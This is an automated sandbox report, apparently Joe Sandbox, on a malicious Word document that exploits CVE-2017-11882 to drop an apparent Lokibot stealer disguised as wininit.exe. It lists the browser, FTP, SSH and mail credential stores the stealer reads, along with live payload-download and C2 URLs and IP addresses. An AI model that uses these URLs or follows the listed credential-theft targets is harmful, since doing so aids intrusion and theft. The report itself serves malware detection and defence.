Source: Yara match	File source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 3932, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.626819523.0000000000524000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\user\AppData\Roaming\wininit.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Users\user\AppData\Roaming\wininit.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: PopPassword		15_2_0040D069
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: SmtpPassword		15_2_0040D069

Source: Yara match	File source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	32 Exploitation for Client Execution	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 Account Discovery	Remote Services	1 Archive Collected Data	35 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	2 Credentials in Registry	2 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	111 Process Injection	3 Obfuscated Files or Information	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	2 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Security Software Discovery	Distributed Component Object Model	11 Email Collection	123 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
stthigns.doc	50%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
stthigns.doc	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Roaming\wininit.exe	100%	Avira	HEUR/AGEN.1306899
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\wininit.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://94.156.177.41/maxzi/five/fre.php	100%	Avira URL Cloud	malware
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	100%	Avira URL Cloud	malware
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaV	0%	Avira URL Cloud	safe
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaj	0%	Avira URL Cloud	safe
http://66.63.187.231/33/caspol.exe(sU	0%	Avira URL Cloud	safe
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaal	0%	Avira URL Cloud	safe
http://66.63.187.231/33/caspol.eln	0%	Avira URL Cloud	safe
http://66.63.187.231/33/caspol.exe	100%	Avira URL Cloud	malware
94.156.177.41/maxzi/five/fre.php	100%	Avira URL Cloud	malware
http://66.63.187.231/33/caspol.exeb	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	true	Avira URL Cloud: malware	unknown
http://66.63.187.231/33/caspol.exe	true	Avira URL Cloud: malware	unknown
http://kbfvzoboss.bid/alien/fre.php	false		high
http://94.156.177.41/maxzi/five/fre.php	true	Avira URL Cloud: malware	unknown
http://alphastand.top/alien/fre.php	false		high
http://alphastand.win/alien/fre.php	false		high
94.156.177.41/maxzi/five/fre.php	true	Avira URL Cloud: malware	unknown
http://alphastand.trade/alien/fre.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaal	EQNEDT32.EXE, 00000002.00000002.359766415.000000000056F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	false		high
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaV	EQNEDT32.EXE, 00000002.00000002.359766415.000000000056F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.63.187.231/33/caspol.exe(sU	powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.htaj	EQNEDT32.EXE, 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ibsensoftware.com/	wininit.exe, wininit.exe, 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.391849069.0000000003139000.00000004.00000800.00020000.00000000.sdmp	false		high
http://66.63.187.231/33/caspol.eln	powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://66.63.187.231/33/caspol.exeb	powershell.exe, 00000006.00000002.387189760.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.387368019.0000000002111000.00000004.00000800.00020000.00000000.sdmp, wininit.exe, 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
66.63.187.231	unknown	United States		8100	ASN-QUADRANET-GLOBALUS	true
94.156.177.41	unknown	Bulgaria		43561	NET1-ASBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559262
Start date and time:	2024-11-20 11:07:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	stthigns.doc renamed because original name is a hash value
Original Sample Name:	seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seethebestthignsalwaysgivnebestthigns.doc
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@18/31@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 87 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: stthigns.doc

Simulations

Behavior and APIs

Time	Type	Description
05:07:56	API Interceptor	67x Sleep call for process: EQNEDT32.EXE modified
05:08:00	API Interceptor	18x Sleep call for process: mshta.exe modified
05:08:02	API Interceptor	120x Sleep call for process: powershell.exe modified
05:08:12	API Interceptor	1563x Sleep call for process: wininit.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.63.187.231	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse	66.63.187.231/33/caspol.exe
	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	66.63.187.231/33/caspol.exe
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	66.63.187.231/657/caspol.exe
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	66.63.187.231/xampp/noc/seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta
94.156.177.41	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse	94.156.177.41/maxzi/five/fre.php
	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	94.156.177.41/maxzi/five/fre.php
	ECxDwGGFH3.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41/simple/five/fre.php
	greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.41/simple/five/fre.php
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.41/simple/five/fre.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse	66.63.187.231
	________.exe	Get hash	malicious	Quasar	Browse	155.94.209.8
	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	66.63.187.231
	________.exe	Get hash	malicious	Quasar	Browse	69.174.98.113
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	66.63.187.231
	PO-000041492.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	66.63.187.231
	RFQ541634_A_URGENT_QUOTATION_SHENLE.exe	Get hash	malicious	GuLoader	Browse	64.188.27.210
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse	72.11.156.80
	.main.elf	Get hash	malicious	Xmrig	Browse	66.63.187.200
	mips.elf	Get hash	malicious	Mirai	Browse	104.223.82.201
NET1-ASBG	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse	94.156.177.41
	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse	94.156.177.41
	ECxDwGGFH3.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41
	greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.41
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.41
	WjcXwIcclB.exe	Get hash	malicious	Lokibot	Browse	94.156.177.41
	0aA7F59xDl.exe	Get hash	malicious	Lokibot	Browse	94.156.177.95
	givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95
	seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	94.156.177.95

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse
C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse
C:\Users\user\AppData\Roaming\wininit.exe	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse
C:\Users\user\AppData\Roaming\wininit.exe	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Get hash	malicious	Cobalt Strike, Lokibot	Browse
	PO-000041492.docx.doc	Get hash	malicious	Lokibot	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
